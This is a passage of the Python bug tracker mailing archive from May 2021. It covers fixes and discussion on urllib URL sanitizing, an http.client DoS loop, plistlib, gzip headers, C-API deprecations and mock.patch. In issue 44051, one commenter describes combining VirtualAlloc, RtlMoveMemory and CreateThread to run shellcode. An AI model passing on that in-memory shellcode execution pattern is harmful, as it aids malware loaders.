guangli dong (leveryd)! This is in and the 3.10-3.6 PRs should automerge (thru 3.9) after the CI runs, or be merged by the release managers (3.6-3.8). ---------- resolution: -> fixed stage: patch review -> commit review status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 5 19:04:46 2021 From: report at bugs.python.org (Senthil Kumaran) Date: Wed, 05 May 2021 23:04:46 +0000 Subject: [issue43882] [security] urllib.parse should sanitize urls containing ASCII newline and tabs. In-Reply-To: <1618774620.3.0.412025280445.issue43882@roundup.psfhosted.org> Message-ID: <1620255886.24.0.108486289998.issue43882@roundup.psfhosted.org> Senthil Kumaran added the comment: New changeset 24f1d1a8a2c4aa58a606b4b6d5fa4305a3b91705 by Miss Islington (bot) in branch '3.10': bpo-43882 Remove the newline, and tab early. From query and fragments. (GH-25936) https://github.com/python/cpython/commit/24f1d1a8a2c4aa58a606b4b6d5fa4305a3b91705 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 5 19:06:00 2021 From: report at bugs.python.org (miss-islington) Date: Wed, 05 May 2021 23:06:00 +0000 Subject: [issue44022] urllib http client possible infinite loop on a 100 Continue response In-Reply-To: <1620061983.98.0.377096987447.issue44022@roundup.psfhosted.org> Message-ID: <1620255960.82.0.0194770175563.issue44022@roundup.psfhosted.org> miss-islington added the comment: New changeset ea9327036680acc92d9f89eaf6f6a54d2f8d78d9 by Miss Islington (bot) in branch '3.9': bpo-44022: Fix http client infinite line reading (DoS) after a HTTP 100 Continue (GH-25916) https://github.com/python/cpython/commit/ea9327036680acc92d9f89eaf6f6a54d2f8d78d9 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 5 19:07:40 2021 From: report at bugs.python.org (Hasan) Date: Wed, 05 May 2021 23:07:40 +0000 Subject: [issue42095] plistlib: Add tests that compare with plutil(1) In-Reply-To: <1603178661.31.0.803001342032.issue42095@roundup.psfhosted.org> Message-ID: <1620256060.09.0.090917720938.issue42095@roundup.psfhosted.org> Change by Hasan : Added file: https://bugs.python.org/file50017/test_plistlib_plutil.py _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 5 19:14:36 2021 From: report at bugs.python.org (Gregory P. Smith) Date: Wed, 05 May 2021 23:14:36 +0000 Subject: [issue44022] urllib http client possible infinite loop on a 100 Continue response In-Reply-To: <1620061983.98.0.377096987447.issue44022@roundup.psfhosted.org> Message-ID: <1620256476.97.0.0705892523464.issue44022@roundup.psfhosted.org> Gregory P. Smith added the comment: New changeset 60ba0b68470a584103e28958d91e93a6db37ec92 by Miss Islington (bot) in branch '3.10': bpo-44022: Fix http client infinite line reading (DoS) after a HTTP 100 Continue (GH-25916) (GH-25931) https://github.com/python/cpython/commit/60ba0b68470a584103e28958d91e93a6db37ec92 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 5 19:23:53 2021 From: report at bugs.python.org (Benjamin Sergeant) Date: Wed, 05 May 2021 23:23:53 +0000 Subject: [issue17681] Work with an extra field of gzip and zip files In-Reply-To: <1365519781.38.0.309194725625.issue17681@psf.upfronthosting.co.za> Message-ID: <1620257033.26.0.675198565331.issue17681@roundup.psfhosted.org> Benjamin Sergeant added the comment: There is a comment field too which would be nice to support. The Go gzip module has a Header class that describe all the metadata. I see in 3.8 mtime was made configurable, so hopefully we can add comment and extra. https://golang.org/pkg/compress/gzip/#Header For our purpose we'd like to put arbitrary stuff in a gzip file but it is complicated to do so, I might use the patch here and apply to the python gzip module, but that feels a bit hackish. ---------- nosy: +Benjamin.Sergeant _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 5 19:33:10 2021 From: report at bugs.python.org (Benjamin Sergeant) Date: Wed, 05 May 2021 23:33:10 +0000 Subject: [issue17681] Work with an extra field of gzip and zip files In-Reply-To: <1365519781.38.0.309194725625.issue17681@psf.upfronthosting.co.za> Message-ID: <1620257590.01.0.0457646964224.issue17681@roundup.psfhosted.org> Benjamin Sergeant added the comment: type Header struct { Comment string // comment Extra []byte // "extra data" ModTime time.Time // modification time Name string // file name OS byte // operating system type } This is what the header/extra things look like for reference. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 5 19:41:22 2021 From: report at bugs.python.org (Senthil Kumaran) Date: Wed, 05 May 2021 23:41:22 +0000 Subject: [issue43972] Simple HTTP Request Handler in http.server does not set a content-length and does not close connections on 301s In-Reply-To: <1619658397.03.0.0874955697236.issue43972@roundup.psfhosted.org> Message-ID: <1620258082.15.0.738742470065.issue43972@roundup.psfhosted.org> Senthil Kumaran added the comment: Hi Stephen, With the example, I couldn't reproduce the problem with curl 7.65.3 That said, I do recognize that this change is a positive improvement, but I cannot see this a bug-fix (and for client misbehavior, which I couldn't verify). To take a call, I think, this change could go into `main` branch as an "improvement" change than a bug-fix. Note: the existing behavior is 10+ year old and don't want to introduce changes if it is not a bug. Thanks ---------- versions: +Python 3.11 -Python 3.6, Python 3.7, Python 3.8, Python 3.9 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 5 19:51:55 2021 From: report at bugs.python.org (Terry J. Reedy) Date: Wed, 05 May 2021 23:51:55 +0000 Subject: [issue44026] IDLE: print "Did you mean?" for AttributeError and NameError In-Reply-To: <1620100153.12.0.0610630675338.issue44026@roundup.psfhosted.org> Message-ID: <1620258715.01.0.0592668444707.issue44026@roundup.psfhosted.org> Terry J. Reedy added the comment: This is only backported to 3.10 and not 3.9 because the fix recommendations were only added in 3.10. If the code difference became a problem, this could be backported because the roundabout method for name and attribute errors would work in 3.9. ---------- stage: patch review -> _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 5 20:01:40 2021 From: report at bugs.python.org (Hasan) Date: Thu, 06 May 2021 00:01:40 +0000 Subject: [issue42095] plistlib: Add tests that compare with plutil(1) In-Reply-To: <1603178661.31.0.803001342032.issue42095@roundup.psfhosted.org> Message-ID: <1620259300.79.0.939295754897.issue42095@roundup.psfhosted.org> Change by Hasan : Added file: https://bugs.python.org/file50018/test_plistlib_plutil.py _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 5 20:01:52 2021 From: report at bugs.python.org (Hasan) Date: Thu, 06 May 2021 00:01:52 +0000 Subject: [issue42095] plistlib: Add tests that compare with plutil(1) In-Reply-To: <1603178661.31.0.803001342032.issue42095@roundup.psfhosted.org> Message-ID: <1620259312.85.0.989912003136.issue42095@roundup.psfhosted.org> Change by Hasan : Removed file: https://bugs.python.org/file50017/test_plistlib_plutil.py _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 5 20:02:35 2021 From: report at bugs.python.org (Hasan) Date: Thu, 06 May 2021 00:02:35 +0000 Subject: [issue41491] plistlib can't load macOS BigSur system LaunchAgent In-Reply-To: <1596665779.04.0.552451730401.issue41491@roundup.psfhosted.org> Message-ID: <1620259355.62.0.156907572989.issue41491@roundup.psfhosted.org> Change by Hasan : Added file: https://bugs.python.org/file50019/test_plistlib_plutil.py _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 5 20:02:55 2021 From: report at bugs.python.org (Hasan) Date: Thu, 06 May 2021 00:02:55 +0000 Subject: [issue41491] plistlib can't load macOS BigSur system LaunchAgent In-Reply-To: <1596665779.04.0.552451730401.issue41491@roundup.psfhosted.org> Message-ID: <1620259375.43.0.542138858344.issue41491@roundup.psfhosted.org> Change by Hasan : Removed file: https://bugs.python.org/file50019/test_plistlib_plutil.py _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 5 20:03:33 2021 From: report at bugs.python.org (Hasan) Date: Thu, 06 May 2021 00:03:33 +0000 Subject: [issue42095] plistlib: Add tests that compare with plutil(1) In-Reply-To: <1603178661.31.0.803001342032.issue42095@roundup.psfhosted.org> Message-ID: <1620259413.2.0.278170781728.issue42095@roundup.psfhosted.org> Change by Hasan : Added file: https://bugs.python.org/file50020/test_plistlib_plutil.py _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 5 20:03:43 2021 From: report at bugs.python.org (Hasan) Date: Thu, 06 May 2021 00:03:43 +0000 Subject: [issue42095] plistlib: Add tests that compare with plutil(1) In-Reply-To: <1603178661.31.0.803001342032.issue42095@roundup.psfhosted.org> Message-ID: <1620259423.07.0.855892720561.issue42095@roundup.psfhosted.org> Change by Hasan : Removed file: https://bugs.python.org/file50018/test_plistlib_plutil.py _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 5 20:04:16 2021 From: report at bugs.python.org (Raymond Hettinger) Date: Thu, 06 May 2021 00:04:16 +0000 Subject: [issue40137] TODO list when PEP 573 "Module State Access from C Extension Methods" will be implemented In-Reply-To: <1585753703.83.0.0762180613721.issue40137@roundup.psfhosted.org> Message-ID: <1620259456.94.0.259371338183.issue40137@roundup.psfhosted.org> Raymond Hettinger added the comment: Victor, thanks for the work to mitigate the costs of _PyType_GetModuleByDef(). It now has much lower overhead. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 5 20:22:05 2021 From: report at bugs.python.org (Senthil Kumaran) Date: Thu, 06 May 2021 00:22:05 +0000 Subject: [issue43972] Simple HTTP Request Handler in http.server does not set a content-length and does not close connections on 301s In-Reply-To: <1619658397.03.0.0874955697236.issue43972@roundup.psfhosted.org> Message-ID: <1620260525.02.0.912530494453.issue43972@roundup.psfhosted.org> Senthil Kumaran added the comment: I am also hesitant to fix something that is not broken. So, please share the broken behavior that could be verified, and this will give us greater confidence to commit this patch. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 6 02:16:29 2021 From: report at bugs.python.org (Shreyan Avigyan) Date: Thu, 06 May 2021 06:16:29 +0000 Subject: [issue44046] When writing to the Registry using winreg, it currently allows you to write ONLY to HKEY_CURRENT_USERS. In-Reply-To: <1620199728.07.0.7391681228.issue44046@roundup.psfhosted.org> Message-ID: <1620281789.08.0.120781200868.issue44046@roundup.psfhosted.org> Shreyan Avigyan added the comment: Ok. I tested it. And I'm now completely sure that you're not running in Administrator mode. I'll give you the steps to solve this problem but first of all where are you running this code from, IDLE, Python or any other IDE? How to run in admin mode depends on where are you running your code from. (You can also try Eryk's method. The method I used is a temporary workaround while Eryk's is the correct one.) ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 6 02:22:34 2021 From: report at bugs.python.org (Pandu E POLUAN) Date: Thu, 06 May 2021 06:22:34 +0000 Subject: [issue43949] binascii.Error raised in smtplib when initial_response_ok=False In-Reply-To: <1619510278.38.0.0405436447685.issue43949@roundup.psfhosted.org> Message-ID: <1620282154.75.0.612222682123.issue43949@roundup.psfhosted.org> Pandu E POLUAN added the comment: Technically, that is not the fault of smtplib.SMTP The standard for SMTP AUTH specifies that characters following "334 " MUST be Base64 encoded. See https://tools.ietf.org/html/rfc4954#page-4 , 3rd paragraph: > A server challenge is sent as a 334 reply with the text part > containing the [BASE64] encoded string supplied by the SASL > mechanism. This challenge MUST NOT contain any text other > than the BASE64 encoded challenge. Servers that send non-BASE64-encoded text after "334 " IMO is violating the standards. ---------- nosy: +pepoluan _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 6 02:25:12 2021 From: report at bugs.python.org (Pandu E POLUAN) Date: Thu, 06 May 2021 06:25:12 +0000 Subject: [issue43949] binascii.Error raised in smtplib when initial_response_ok=False In-Reply-To: <1619510278.38.0.0405436447685.issue43949@roundup.psfhosted.org> Message-ID: <1620282312.53.0.624122880921.issue43949@roundup.psfhosted.org> Pandu E POLUAN added the comment: A stronger case is the "Formal Syntax" on https://tools.ietf.org/html/rfc4954#page-13 : > continue-req = "334" SP [base64] CRLF > ;; Intermediate response to the AUTH > ;; command. > ;; This non-terminal complies with > ;; syntax defined by Reply-line [SMTP]. Nothing else besides base64 is allowed; after "334 " it MUST be either or . ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 6 02:27:07 2021 From: report at bugs.python.org (Serhiy Storchaka) Date: Thu, 06 May 2021 06:27:07 +0000 Subject: [issue42095] plistlib: Add tests that compare with plutil(1) In-Reply-To: <1603178661.31.0.803001342032.issue42095@roundup.psfhosted.org> Message-ID: <1620282427.92.0.182365400488.issue42095@roundup.psfhosted.org> Change by Serhiy Storchaka : ---------- pull_requests: -21763 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 6 02:29:00 2021 From: report at bugs.python.org (Pandu E POLUAN) Date: Thu, 06 May 2021 06:29:00 +0000 Subject: [issue43949] binascii.Error raised in smtplib when initial_response_ok=False In-Reply-To: <1619510278.38.0.0405436447685.issue43949@roundup.psfhosted.org> Message-ID: <1620282540.0.0.639090291978.issue43949@roundup.psfhosted.org> Pandu E POLUAN added the comment: > I am using Magic Winmail Server2.4(build 0530) as a SMTP server, which appears dont support initial_response, so I set initial_response_ok=False and got this Error. currently I catch this error and ignore it to evade program failed, it works fine. Is there better way to fix this problem? I suggest either of: (1) Contacting the makers of the software, to force Base64-encoding for "334 " replies, or (2) If the text following "334 " is customizable, Base64-encode them yourself, then use the base64-encoded text as the customized "334 " response. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 6 02:43:06 2021 From: report at bugs.python.org (Pierre Ossman) Date: Thu, 06 May 2021 06:43:06 +0000 Subject: [issue44052] patch object as argument should be explicit Message-ID: <1620283386.4.0.215210268869.issue44052@roundup.psfhosted.org> New submission from Pierre Ossman : Right now if you use unittest.mock.patch() as a decorator it may or may not pass the object as an argument to the test function. The behaviour is a side effect of the argument "new" rather than something the caller can explicitly control. In many cases this gives the desired behaviour, but not in all. So this behaviour should be possible to explicitly controlled. One common case is when using patch() as a class decorator. If you want to avoid getting extra arguments to every test function, then "new" has to be specified. But that means that it will be the same object that will be used for every test, not a fresh one. E.g. @patch('foo.bar.baz', []) class TestCases(unittest.TestCase): def test_a(self): ... def test_b(self): ... def test_c(self): ... The tests will now be running with the same list in "foo.bar.baz" rather than a fresh empty list for each run. Ideally we could instead specify: @patch('foo.bar.baz', new_callable=list, as_arg=False) class TestCases(unittest.TestCase): def test_a(self): ... def test_b(self): ... def test_c(self): ... Or something along those lines. ---------- components: Library (Lib) messages: 393062 nosy: CendioOssman priority: normal severity: normal status: open title: patch object as argument should be explicit _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 6 02:56:02 2021 From: report at bugs.python.org (Christian Heimes) Date: Thu, 06 May 2021 06:56:02 +0000 Subject: [issue36515] unaligned memory access in the _sha3 extension In-Reply-To: <1554270079.02.0.655835284074.issue36515@roundup.psfhosted.org> Message-ID: <1620284162.74.0.685793181959.issue36515@roundup.psfhosted.org> Christian Heimes added the comment: New changeset ce47addfb6f176fad053431b537b77a5f170765e by Miss Islington (bot) in branch '3.9': [3.9] bpo-36515: Disable unaligned memory access in _sha3 on ARM (GH-25927) (GH-25928) https://github.com/python/cpython/commit/ce47addfb6f176fad053431b537b77a5f170765e ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 6 02:57:39 2021 From: report at bugs.python.org (Christian Heimes) Date: Thu, 06 May 2021 06:57:39 +0000 Subject: [issue36515] unaligned memory access in the _sha3 extension In-Reply-To: <1554270079.02.0.655835284074.issue36515@roundup.psfhosted.org> Message-ID: <1620284259.93.0.976977633932.issue36515@roundup.psfhosted.org> Change by Christian Heimes : ---------- resolution: -> fixed stage: patch review -> resolved status: open -> closed versions: -Python 3.6, Python 3.7, Python 3.8 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 6 03:02:17 2021 From: report at bugs.python.org (Inada Naoki) Date: Thu, 06 May 2021 07:02:17 +0000 Subject: [issue40943] PEP 353: Drop support for PyArg_ParseTuple() "#" formats when PY_SSIZE_T_CLEAN is not defined In-Reply-To: <1591805352.1.0.263144015623.issue40943@roundup.psfhosted.org> Message-ID: <1620284537.88.0.358028470204.issue40943@roundup.psfhosted.org> Inada Naoki added the comment: There is a still warning, not error. https://github.com/python/cpython/blob/985ac016373403e8ad41f8d563c4355ffa8d49ff/Python/getargs.c#L2535-L2542 ---------- resolution: fixed -> status: closed -> open _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 6 03:05:11 2021 From: report at bugs.python.org (Muqaddas Rasheed) Date: Thu, 06 May 2021 07:05:11 +0000 Subject: [issue44053] Can't connect to a server also not showing any type of output Message-ID: <1620284711.4.0.891805853778.issue44053@roundup.psfhosted.org> Change by Muqaddas Rasheed : ---------- nosy: muqadasrasheed652 priority: normal severity: normal status: open title: Can't connect to a server also not showing any type of output _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 6 03:07:09 2021 From: report at bugs.python.org (Eric V. Smith) Date: Thu, 06 May 2021 07:07:09 +0000 Subject: [issue44045] canonicalize "upper-case" -> "uppercase"; "lower-case" -> "lowercase" In-Reply-To: <1620197702.64.0.842506746394.issue44045@roundup.psfhosted.org> Message-ID: <1620284829.02.0.00695200299212.issue44045@roundup.psfhosted.org> Eric V. Smith added the comment: I think we'd want to look at the 33 uses with hyphens to make sure removing the hyphen is correct (as opposed to just blindly make a change). But I'm generally supportive. ---------- nosy: +eric.smith _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 6 03:09:40 2021 From: report at bugs.python.org (Eric V. Smith) Date: Thu, 06 May 2021 07:09:40 +0000 Subject: [issue44053] Can't connect to a server also not showing any type of output Message-ID: <1620284980.8.0.330788733855.issue44053@roundup.psfhosted.org> New submission from Eric V. Smith : If you think this is a bug, please attach the text of a stand-alone example demonstrating the problem. Please do not attach an image or a screen capture, use text so we can run and reproduce the problem. That said, it's unlikely this is a bug in Python. You might want to ask for help on the python-list mailing list or another help forum. ---------- nosy: +eric.smith status: open -> pending _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 6 03:14:36 2021 From: report at bugs.python.org (Serhiy Storchaka) Date: Thu, 06 May 2021 07:14:36 +0000 Subject: [issue40943] PEP 353: Drop support for PyArg_ParseTuple() "#" formats when PY_SSIZE_T_CLEAN is not defined In-Reply-To: <1591805352.1.0.263144015623.issue40943@roundup.psfhosted.org> Message-ID: <1620285276.52.0.36186182764.issue40943@roundup.psfhosted.org> Serhiy Storchaka added the comment: Why PR 20784 has been merged? Was not the plan to emit a deprecation warning first? ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 6 03:19:57 2021 From: report at bugs.python.org (Inada Naoki) Date: Thu, 06 May 2021 07:19:57 +0000 Subject: [issue40943] PEP 353: Drop support for PyArg_ParseTuple() "#" formats when PY_SSIZE_T_CLEAN is not defined In-Reply-To: <1591805352.1.0.263144015623.issue40943@roundup.psfhosted.org> Message-ID: <1620285597.98.0.314999036886.issue40943@roundup.psfhosted.org> Inada Naoki added the comment: >Why PR 20784 has been merged? Was not the plan to emit a deprecation warning first? We had been emitted DeprecationWarning since Python 3.8. See GH-12473. GH-20784 changed the DeprecationWarning to SystemError. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 6 03:25:32 2021 From: report at bugs.python.org (Serhiy Storchaka) Date: Thu, 06 May 2021 07:25:32 +0000 Subject: [issue40943] PEP 353: Drop support for PyArg_ParseTuple() "#" formats when PY_SSIZE_T_CLEAN is not defined In-Reply-To: <1591805352.1.0.263144015623.issue40943@roundup.psfhosted.org> Message-ID: <1620285932.28.0.421335809388.issue40943@roundup.psfhosted.org> Serhiy Storchaka added the comment: Sorry, I was confused by Victor's long msg371219. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 6 03:45:21 2021 From: report at bugs.python.org (Nikolaus Rath) Date: Thu, 06 May 2021 07:45:21 +0000 Subject: [issue17681] Work with an extra field of gzip and zip files In-Reply-To: <1365519781.38.0.309194725625.issue17681@psf.upfronthosting.co.za> Message-ID: <1620287121.88.0.883727566664.issue17681@roundup.psfhosted.org> Change by Nikolaus Rath : ---------- nosy: -nikratio _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 6 03:51:46 2021 From: report at bugs.python.org (baptistecrepin) Date: Thu, 06 May 2021 07:51:46 +0000 Subject: [issue44051] Virtualalloc wrong return type In-Reply-To: <1620230812.01.0.281196381617.issue44051@roundup.psfhosted.org> Message-ID: <1620287506.24.0.403138694042.issue44051@roundup.psfhosted.org> baptistecrepin added the comment: Thank you, I didn't know that ctypes wasn't prototyped. I only use VirtualAlloc in combination with RtlMoveMemory and CreateThread in order to execute shellcodes for research purposes. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 6 04:10:14 2021 From: report at bugs.python.org (Karthikeyan Singaravelan) Date: Thu, 06 May 2021 08:10:14 +0000 Subject: [issue44052] patch object as argument should be explicit In-Reply-To: <1620283386.4.0.215210268869.issue44052@roundup.psfhosted.org> Message-ID: <1620288614.57.0.206410688357.issue44052@roundup.psfhosted.org> Karthikeyan Singaravelan added the comment: In my test cases I have ended up just ignoring the mock object with a placeholder if it's not needed. For the given use case you can do this using patch objects at setUp and tearDown like in https://docs.python.org/dev/library/unittest.mock-examples.html#applying-the-same-patch-to-every-test-method . I feel introducing another argument increases the complexity on the existing patch api which already has a lot of options. I have added others for their thoughts on this API change. from unittest.mock import Mock, patch from unittest import TestCase, main class Foo: properties = [] class FooTest(TestCase): def setUp(self): patcher = patch(f"{__name__}.Foo.properties", new_callable=list) self.addCleanup(patcher.stop) patcher.start() def test_foo(self): Foo.properties.append(1) self.assertEqual(Foo.properties, [1]) def test_bar(self): Foo.properties.append(2) self.assertEqual(Foo.properties, [2]) if __name__ == "__main__": main() ---------- nosy: +cjw296, lisroach, mariocj89, michael.foord, xtreak type: -> behavior versions: +Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 6 04:28:00 2021 From: report at bugs.python.org (guangli dong) Date: Thu, 06 May 2021 08:28:00 +0000 Subject: [issue44022] urllib http client possible infinite loop on a 100 Continue response In-Reply-To: <1620061983.98.0.377096987447.issue44022@roundup.psfhosted.org> Message-ID: <1620289680.94.0.563074289047.issue44022@roundup.psfhosted.org> guangli dong added the comment: can you assign "cve" for this security bug? i will review the patch later. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 6 04:37:25 2021 From: report at bugs.python.org (Christian Heimes) Date: Thu, 06 May 2021 08:37:25 +0000 Subject: [issue44022] urllib http client possible infinite loop on a 100 Continue response In-Reply-To: <1620061983.98.0.377096987447.issue44022@roundup.psfhosted.org> Message-ID: <1620290245.47.0.117422912578.issue44022@roundup.psfhosted.org> Christian Heimes added the comment: http.server is out of scope for CVEs. The module is not designed for security-sensitive usage and explicitly documented as insecure and not suitable for production use: https://docs.python.org/3/library/http.server.html#module-http.server > Warning: http.server is not recommended for production. It only implements basic security checks. ---------- nosy: +christian.heimes _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 6 04:48:51 2021 From: report at bugs.python.org (Tal Einat) Date: Thu, 06 May 2021 08:48:51 +0000 Subject: [issue37903] IDLE Shell sidebar. In-Reply-To: <1566370033.98.0.615651298891.issue37903@roundup.psfhosted.org> Message-ID: <1620290931.28.0.588886945661.issue37903@roundup.psfhosted.org> Tal Einat added the comment: > Is it possible to add a Settings option under the General tab to switch between the sidebar mode and traditional mode? Raymond, that should be possible, and possibly rather easily. I'll take a look at adding this option. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 6 04:52:35 2021 From: report at bugs.python.org (=?utf-8?q?=C5=81ukasz_Langa?=) Date: Thu, 06 May 2021 08:52:35 +0000 Subject: [issue44022] urllib http client possible infinite loop on a 100 Continue response In-Reply-To: <1620061983.98.0.377096987447.issue44022@roundup.psfhosted.org> Message-ID: <1620291155.34.0.558780915171.issue44022@roundup.psfhosted.org> ?ukasz Langa added the comment: New changeset f396864ddfe914531b5856d7bf852808ebfc01ae by Miss Islington (bot) in branch '3.8': bpo-44022: Fix http client infinite line reading (DoS) after a HTTP 100 Continue (GH-25916) (#25933) https://github.com/python/cpython/commit/f396864ddfe914531b5856d7bf852808ebfc01ae ---------- nosy: +lukasz.langa _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 6 04:52:42 2021 From: report at bugs.python.org (=?utf-8?q?=C5=81ukasz_Langa?=) Date: Thu, 06 May 2021 08:52:42 +0000 Subject: [issue44022] urllib http client possible infinite loop on a 100 Continue response In-Reply-To: <1620061983.98.0.377096987447.issue44022@roundup.psfhosted.org> Message-ID: <1620291162.12.0.1663366434.issue44022@roundup.psfhosted.org> Change by ?ukasz Langa : ---------- versions: +Python 3.8 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 6 05:03:28 2021 From: report at bugs.python.org (Inada Naoki) Date: Thu, 06 May 2021 09:03:28 +0000 Subject: [issue40943] PEP 353: Drop support for PyArg_ParseTuple() "#" formats when PY_SSIZE_T_CLEAN is not defined In-Reply-To: <1591805352.1.0.263144015623.issue40943@roundup.psfhosted.org> Message-ID: <1620291808.94.0.262562904655.issue40943@roundup.psfhosted.org> Change by Inada Naoki : ---------- pull_requests: +24605 stage: resolved -> patch review pull_request: https://github.com/python/cpython/pull/25937 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 6 05:47:53 2021 From: report at bugs.python.org (Stefan Behnel) Date: Thu, 06 May 2021 09:47:53 +0000 Subject: [issue44054] 2**53+1 != float(2**53+1) Message-ID: <1620294473.58.0.212364469829.issue44054@roundup.psfhosted.org> New submission from Stefan Behnel : I'm not sure if I should consider this a bug, but I'd at least frown at the behaviour, so I thought I'd bring this up here. Python 3.8.5 (default, Jan 27 2021, 15:41:15) [GCC 9.3.0] on linux >>> 2**53 == float(2**53) True >>> float(2**53+1) == float(2**53+1) True >>> 2**53+1 == float(2**53+1) False This probably has something to do with the 52bit exponent of double precision floats. But the way I would have expected this to work is that a comparison of an integer to a float would first convert the integer to a float, and then compare the two floating point values. That's also what the code says. However, comparing the actual two floating point values gives the expected result, whereas letting the comparison do the conversion internally leads to a different outcome. The code in float_richcompare() uses a vastly more complex implementation than PyLong_AsDouble(), which is likely the reason for this difference in behaviour. I found this on the system Python on 64bit Ubuntu 20.04, but also tried with a self-built 3.10a7+, giving the same result. I'm only setting the target to 3.10/11 since a potential behavioural change would likely not find its way back to 3.9 and earlier any more. ---------- messages: 393077 nosy: mark.dickinson, rhettinger, scoder priority: normal severity: normal status: open title: 2**53+1 != float(2**53+1) type: behavior versions: Python 3.10, Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 6 05:49:30 2021 From: report at bugs.python.org (Stefan Behnel) Date: Thu, 06 May 2021 09:49:30 +0000 Subject: [issue44054] 2**53+1 != float(2**53+1) In-Reply-To: <1620294473.58.0.212364469829.issue44054@roundup.psfhosted.org> Message-ID: <1620294570.17.0.0997844782468.issue44054@roundup.psfhosted.org> Change by Stefan Behnel : ---------- nosy: +tim.peters _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 6 05:51:24 2021 From: report at bugs.python.org (Petr Viktorin) Date: Thu, 06 May 2021 09:51:24 +0000 Subject: [issue23903] Generate PC/python3.def by scraping headers In-Reply-To: <1428637761.13.0.348463350169.issue23903@psf.upfronthosting.co.za> Message-ID: <1620294684.14.0.717774522052.issue23903@roundup.psfhosted.org> Petr Viktorin added the comment: The symbols exported by python3.dll are now generated from Misc/stable_abi.txt as per PEP 652. See the devguide for more details: https://devguide.python.org/c-api/ This is slightly more work than generating the list fully automatically, but the extra work is negligible compared to all the things you should think about when adding API that'll be be supported until Python 4.0. Headers are now checked on Unix (GCC) only. If anyone wants to work on a cross-platform C parser/checker, please let me know. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 6 06:09:33 2021 From: report at bugs.python.org (guangli dong) Date: Thu, 06 May 2021 10:09:33 +0000 Subject: [issue44022] urllib http client possible infinite loop on a 100 Continue response In-Reply-To: <1620061983.98.0.377096987447.issue44022@roundup.psfhosted.org> Message-ID: <1620295773.58.0.649337668438.issue44022@roundup.psfhosted.org> guangli dong added the comment: @Christian Heimes this bug is about "urllib" client library, the key point is not "http.server" module. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 6 06:17:41 2021 From: report at bugs.python.org (Steven D'Aprano) Date: Thu, 06 May 2021 10:17:41 +0000 Subject: [issue44054] 2**53+1 != float(2**53+1) In-Reply-To: <1620294473.58.0.212364469829.issue44054@roundup.psfhosted.org> Message-ID: <1620296261.34.0.276556478176.issue44054@roundup.psfhosted.org> Steven D'Aprano added the comment: This is not a bug. It is *literally correct* that the int 9007199254740993 is not equal to the float 9007199254740992.0 so I really don't know why you would desire a different result. If you want to compare two floats, compare two floats, not an int and a float. And it's not a *potential behaviour change", it would be an actual behaviour change, and a serious regression. Stefan states: > But the way I would have expected this to work is that a comparison of an integer to a float would first convert the integer to a float, and then compare the two floating point values. That's also what the code says. No it doesn't. What the code says: 2**53 + 1 == float(2**53 + 1) not: float(2**53 + 1) == float(2**53 + 1) There's no conversion on the left hand side. The code literally says to compare an int to a float. In general, Python is pretty good at giving as close to mathematically correct results as possible. If you want to compare values approximately as floats, you should explicitly convert them to floats. ---------- nosy: +steven.daprano _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 6 06:32:16 2021 From: report at bugs.python.org (Christian Heimes) Date: Thu, 06 May 2021 10:32:16 +0000 Subject: [issue44054] 2**53+1 != float(2**53+1) In-Reply-To: <1620294473.58.0.212364469829.issue44054@roundup.psfhosted.org> Message-ID: <1620297136.2.0.912758732812.issue44054@roundup.psfhosted.org> Christian Heimes added the comment: 2**53-1 is also the largest safe rational number in JavaScript and JSON where double precision floats and ints behave the same, see https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Number/MAX_SAFE_INTEGER ---------- nosy: +christian.heimes _______________________________________ Python tracker _______________________________________ From report at 